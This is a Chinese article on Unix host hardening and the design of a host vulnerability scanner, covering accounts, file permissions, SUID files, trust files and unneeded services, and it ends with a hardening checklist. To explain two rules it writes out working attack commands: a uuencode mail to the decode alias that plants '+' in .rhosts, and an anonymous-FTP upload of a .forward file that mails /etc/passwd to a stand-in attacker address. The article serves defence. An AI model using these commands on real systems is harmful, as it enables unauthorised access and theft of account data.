Unix主机安全漏洞及漏洞扫描器介绍(3)

导读:
   4.3.6 禁用/etc/aliases中的"decode"别名规则
  如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉,那么该主机允许decode别名。若用户zy主目录(如/export/home/zy)下的 .rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写,即有:
  sun%echo "+" | uuencode /export/home/zy/.rhosts | mail decode@ngcc.com
  在该例中,本地的uuencode程序生成一个编码流,文件名为"/export/home/zy/.rhosts ",内容为一个"+",并作为电子邮件发给ngcc.com上的decode别名。ngcc.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/export/home/zy/.rhosts。如果daemon对/export/home/zy/目录有写权限,则上述命令执行成功。于是/export/home/zy/.rhosts中就出现一个"+",这正是攻击者需要的。
  为安全计,应该禁用/etc/aliases中的"decode"别名。
   4.3.7 审核文件和目录权限规则
  (1)FTP的根目录
  FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。
  FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。
  例如:事先编写forward_sucker_file shell脚本,内容为:
  sun% cat forward_sucker_file
  "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
  通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)
  sun% ftp ngcc.com
  Connected to ngcc.com
  220 victim FTP server ready.
  Name (ngcc.com:zy): ftp
  331 Guest login ok, send ident as password.
  Password: [输入电子邮件地址]
  230 Guest login ok, access restrictions apply.
  ftp> put forward_sucker_file .forward
  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  ftp> quit
  将passwd文件内容发送到黑客邮件地址:
  sun% echo test | mail ftp@ngcc.com
  如果匿名FTP主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件,那么当该用户收到邮件时,就要视".forward"的内容进行转发。如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的FTP用户,通过"转发"功能,ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。
  (2)其他文件和目录
  确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则,黑客可能借助特洛伊木马程序对合法文件进行替代,构成漏洞隐患。
  除了~/ftp/incoming目录外,匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。
  文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限,如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644,不要轻易修改。一般情况下,拥有对任何文件和目录具有写权限的用户只能是超级用户,进一步说,如果一个文件或目录可写,则可写者只能为超级用户。
  (3)setUID和setGID问题
  setUID的作用是允许程序以一个特定用户的身份去运行,而不管到底是谁在运行它。就是说,setUID允许程序将其用户ID改变为另一个用户的ID。SetGID功能同setUID,区别是将一个正在运行的程序的组帐号改变为一个特定的组帐号。setUID和setGID只使用于可执行文件,二者对某些特定的程序才可以访问特定信息的情形是很有价值的。如普通用户在运行passwd命令时,由于该命令setUID为root,则可以获得修改只有root才有相应权限的/etc/shadow文件,从而改变自己的口令。
  但是,setUID和setGID容易被黑客利用来制造缓冲区溢出,从而永久获得root权限。据CERT指出,利用setUID制造缓冲区溢出是黑客获得root权限的主要方法之一。因此,系统管理员不能随意赋予可执行文件setUID和setGID特性。
   4.3.8 审核用户帐户的安全性规则
  Solaris和Irix等Unix系统中,除去超级用户外,还存在如lp、sys、adm、nobody等管理帐户。虽然它们没有超级用户的特权,但同样应受到保护,因为这些帐户的系统进程可以控制基本的系统功能,如电子邮件、关系数据库访问、打印等。这些管理帐户内的任何一个遭到攻击,都可能导致相应子系统中的文件被大规模地暴露和损坏。例如,lp帐户所受的破坏可能会造成攻击者对打印子系统获得完全控制,从而使黑客能够任意地修改打印输出的内容。
  从管理帐户在Web服务器运作中的职责和作用看,大部分应该予以封闭。比如lp,Web服务器上是没有必要也不允许打印文件的。由于这些管理帐户是Unix系统预装的,系统管理员常予以保留。但这些管理帐户可能被黑客利用,且它们对Web服务器用处不大。所以,一些管理帐户,包括daemon、sys、lp、adm、uucp、nuucp、listen,应该封闭。
  此外,超级用户的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH变量中,不应该存在"."或"~"字符,因为黑客可能利用这一点来植入特洛伊木马程序。
  审核用户帐户的安全性规则涉及到/etc/passwd和/etc/shadow两个核心文件。一方面,系统管理员要保证其内容完整性,禁止非法修改,或者及时发现非法修改并予以修正;另一方面,禁止无口令或弱势口令的存在。所谓弱势口令指易于猜测、破解或长期不变更的口令。实践表明,主机安全的核心问题是超级用户的口令安全问题。超级用户的口令被泄露或被成功破解,等于拱手将服务器系统的所有管理权让于黑客,黑客可以轻易获得主机内的所有数据。
   4.3.9 禁止不必要的网络访问服务规则
  所谓不必要的网络访问服务是指实现主机系统网络服务功能所不需要运行的服务。对于Web主机而言,很多网络访问服务在操作系统安装时就被缺省配置,其所对应的TCP/UDP端口也对外打开,如非常危险的finger服务和它对应的79号TCP端口。通过对网站的端口扫描,可以发现很多系统管理员对外提供了或多或少的不必要的网络访问服务。而从系统内部审核不必要网络访问服务的方法是禁止不必要的网络访问服务的最有效手段之一。
  需要补充的是,另外一些需要禁止的服务为:sendmail、NFS服务器和客户机、automounter和rexd等。由于sendmail是著名的漏洞程序,很多机构购置了Netscape Messaging Server等其他mail服务软件加以替代;rexd服务基本无安全可言,远程用户可以象在本地一样畅通无阻地运行本地主机的程序。因此rexd处于被禁之列。
   4.4 主机扫描模块的功能实现
  在本漏洞扫描器的实现中,主机扫描模块的功能实现主要体现在以下几个方面。
   4.4.1 检查服务器登录记录
  扫描服务器登录记录并分类将其呈现给系统管理员,便于系统管理员察看和管理。这部分分为两步:
  (1) 扫描当前登录用户,将他们的具体信息打印显示。
  (2) 扫描登录历史记录并将历史记录分成三类:内部NAT网段合法用户登录;外部授权合法用户登录;外部非授权用户登录。
  前两类视为正常情况,第三类设置为警告类显示并给出警告。在实现中我们设置了一个配置文件,用户可以设置该配置文件,根据不同的环境来设置当前NAT网段的网络地址和授权的外部合法地址。
   4.4.2 检查用户信息
  (1)检测服务器系统中是否存在多个超级用户,确定潜在的后门。如果系统存在多个超级用户,为系统安全计,建议手工删除多余或非法的超级用户设置。这部分功能主要通过检测/etc/passwd文件内的相关信息得以实现。
  (2)将/etc/passwd 文件与其标准备份文件(如/etc/ncb)进行比较,确定二者的不同之处。该标准备份文件应不易被攻击者发现,最好放置在内含文件较多的系统缺省目录内,命名则与系统命令类似。该标准备份文件可视为用户配置标准规则之一,系统管理员的配置和更新均及时反映在这个文件中,并且是合理的。在标准备份文件与/etc/passwd进行逐行比较的情况下,黑客对/etc/passwd的任何改变均会被检测出来。
  (3)在/etc/shadow 文件中检测是否有无口令用户的存在。如果存在无口令用户立即给出警告信息。
  (4)检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
   4.4.3 危险Suid文件的检查
  扫描几个重要的系统可执行文件的目录,包括/usr/bin、/usr/sbin、/usr/dt/bin和/usr/openwin/bin。由于系统本身在这些目录下就具有很多必要的Suid的文件,所以在实现中对应于每个目录都有一个该目录下标准的合法Suid文件库,当在扫描中如果发现不是标准库中的Suid文件时,就显示出该文件,并给出警告,提醒管理员立即检查该文件的合法性。
   4.4.4 检查文件安全性
  (1)检查/etc目录下重要配置文件的权限,对于此类文件超过组可读的权限即给出警告并根据权限大小给出相应警告。
  (2)通过扫描/etc/passwd文件,检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
   4.4.5 基于信任机制的扫描
  (1)检查/etc/hosts.equiv文件的安全性。首先检查该文件是否存在,如果该文件存在,再检查该文件是否为空,如果为空,则建议系统管理员删除该文件;如果不为空,则进一步检查该文件内是否存在"+"符号,如果存在,程序予以严重警告。
  (2)检测 /.rhosts文件的安全性。如果该文件存在,程序予以警告;如果该文件内存在"+"符号,程序予以严重警告;如果该文件内存在"++",则程序要求管理员立即删除此标记并用入侵检测工具检查整个系统。最后程序建议用户如无必要则删除该文件。
   4.4.6 检查网络访问服务安全
  扫描/etc/services和/etc/inetd.conf文件,如果一个网络服务在两个文件中都没有被注释掉,则表明系统启动了该网络服务。在这些启动的网络服务中,再看有没有一些存在隐患、易被黑客利用而又没有太大必要开放的服务,如果有则提出警告,由系统管理员作最后的权衡,是否关掉该服务。
   4.4.7 检测NFS漏洞
  检测目标主机是否存在NFS 共享的目录和文件,如果存在则给出警告。需要说明的是,主机扫描模块获知的漏洞信息,一般情况下,予以提示系统管理员。至于修改漏洞,为安全计,建议系统管理员手动修改完成。
   4.4.8 其它隐患扫描
  (1)检查 /etc/aliases 文件中 decode项是否被封闭,若没有则提示是否添加 "#"符号 于 /etc/aliases 中decode 相关行首。
  (2)检测 /.cshrc 脚本文件path设置项内是否存在 "." 字符,是则建议删除。
   结束语
  我们设计并实现了这个Unix主机漏洞扫描器,该扫描器具备了较强的主机安全扫描能力,但由于受到技术和时间上的原因的限制,在设计和实现上也存在一些不足和有待改进之处,主要表现在主机系统配置规则库的有效性和完备性方面,由于系统漏洞的确认是以专家经验形成的系统配置规则库为基础的,如果库体设计不准确,预报的准确度就无从谈起,如果库体更新不及时,预报准确度也会逐渐降低,此外,系统也无法检测到新出现的安全漏洞,这些都有待于以后进一步的改进。 总之,主机漏洞扫描技术是一门较新兴的技术,它从另一个角度来解决网络安全上的问题。具体来讲,防火墙技术是被动防御、入侵检测技术是被动监测,而主机漏洞扫描技术则是自身主动进行有关安全方面的检测。因此,从网络安全立体纵深、多层次防御的角度出发,主动进行检测安全漏洞越来越受到人们的重视。

本文转自
http://net.zdnet.com.cn/network_security_zone/2008/0117/710550.shtml
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一. 账号口令 1.1 检查设备密码复杂度策略(高危) 1.2 检查口令最小长度(高危) 1.3 检查是否设置口令更改最小间隔天数(高危) 1.4 检查是否设置口令生存周期(高危) 1.5 检查是否设置口令过期前警告天数(高危) 1.6 检查是否存在空口令账号(高危) 1.7 检查是否设置除root之外UID为0的用户(中危) 二. 认证授权 2.1 检查用户目录缺省访问权限设置(高危) 2.2 检查用户umask设置(中危) 2.3 检查重要文件属性设置(中危) 2.4 检查重要目录或文件权限设置(中危) 2.5 检查是否设置ssh登录前警告Banner(低危) 三. 日志审计 3.1 检查是否对登录进行日志记录(高危) 3.2 检查是否启用cron行为日志功能(低危) 3.3 检查是否配置su命令使用情况记录(低危) 3.4 检查日志文件是否非全局可写(低危) 3.5 检查安全事件日志配置(低危) 3.6 检查是否记录用户对设备的操作(低危) 3.7 检查是否配置远程日志功能(低危) 四. 协议安全 4.1 检查是否禁止root用户远程登录(高危) 4.2 检查是否禁止匿名用户登录FTP(高危) 4.3 检查使用IP协议远程维护的设备是否配置SSH协议,禁用telnet协议(高危) 4.4 检查是否修改snmp默认团体字(中危) 4.5 检查系统openssh安全配置(中危) 4.6 检查是否禁止root用户登录FTP(中危) 五. 其他安全 5.1 检查是否使用PAM认证模块禁止wheel组之外的用户su为root(高危) 5.2 检查是否设置命令行界面超时退出(高危) 5.3 检查是否关闭不必要的服务和端口(高危) 5.4 检查是否关闭系统信任机制(高危) 5.5 检查是否删除了潜在危险文件(高危) 5.6 检查系统core dump设置(中危) 5.7 检查root用户的path环境变量(中危) 5.8 检查系统是否禁用ctrl+alt+del组合键(中危) 5.9 检查密码重复使用次数限制(中危) 5.10 检查是否配置用户所需最小权限(中危) 5.11 检查系统内核参数配置(中危) 5.12 检查FTP用户上传的文件所具有的权限(低危) 5.13 检查/usr/bin/目录下可执行文件的拥有者属性(低危) 5.14 检查是否按用户分配账号(低危) 5.15 检查历史命令设置(低危) 5.16 检查系统磁盘分区使用率(低危) 5.17 检查日志文件权限设置(低危) 5.18 检查是否设置系统引导管理密码(低危) 5.19 检查是否限制FTP用户登录后能访问的目录(低危) 5.20 检查是否设置ssh成功登录后Banner(低危) 5.21 检查是否使用NTP(网络时间协议)保持时间同步(低危) 5.22 检查是否关闭IP伪装和绑定多IP功能(低危) 5.23 检查是否限制远程登录IP范围(低危) 5.24 检查NFS(网络文件系统)服务配置(低危) 5.25 检查拥有suid和sgid权限的文件(低危) 5.26 检查是否配置定时自动屏幕锁定(适用于具备图形界面的设备)(低危) 5.27 检查是否安装chkrootkit进行系统监测(低危) 5.28 检查是否对系统账号进行登录限制(低危) 5.29 检查是否禁用不必要的系统服务(低危) 5.30 检查别名文件/etc/aliase(或/etc/mail/aliases)配置(低危) 5.31 检查账户认证失败次数限制(低危) 5.32 检查telnet Banner 设置(低危) 5.33 检查FTP Banner设置(低危) 5.34 检查是否关闭数据包转发功能(适用于不做路由功能的系统)(低危) 5.35 检查是否安装OS补丁(低危) 5.36 检查是否按组进行账号管理(低危) 5.37 检查是否删除与设备运行、维护等工作无关的账号(低危)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值